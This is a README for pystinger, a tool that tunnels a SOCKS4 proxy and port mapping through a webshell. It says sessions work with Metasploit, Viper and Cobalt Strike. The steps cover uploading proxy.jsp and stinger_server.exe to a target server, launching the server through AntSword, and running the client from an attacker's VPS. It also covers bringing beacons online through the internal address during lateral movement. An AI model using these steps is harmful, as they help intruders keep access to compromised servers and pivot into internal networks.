pystinger

English | 简体中文

Pystinger implements SOCK4 proxy and port mapping through webshell.

It can be directly used by metasploit-framework, viper, cobalt strike for session online.

Pystinger is developed in python, and currently supports three proxy scripts: php, jsp(x) and aspx.

Usage

Suppose the domain name of the server is http://example.com :8080 The intranet IPAddress of the server intranet is 192.168.3.11

SOCK4 Proxy

• proxy.jsp Upload to the target server and ensure that http://example.com:8080/proxy.jsp can access,the page returns UTF-8
• stinger_server.exe Upload to the target server,AntSword run cmdstart D:/XXX/stinger_server.exeto start pystinger-server

Don't run D:/xxx/singer_server.exe directly,it will cause TCP disconnection

• Run ./stinger_client -w http://example.com:8080/proxy.jsp -l 127.0.0.1 -p 60000 on your VPS
• Your will see following output

• Generate payload,upload to the target and run.
• When lateral movement to other hosts, you can point the payload to 192.168.3.11:60020 to make beacon online

Custom header and proxy

• If the webshell needs to configure cookie or authorization, the request header can be configured through the -- header parameter --header "Authorization: XXXXXX,Cookie: XXXXX"

• If the webshell needs to be accessed by proxy, you can set the proxy through -- proxy --proxy "socks5:127.0.0.1:1081"
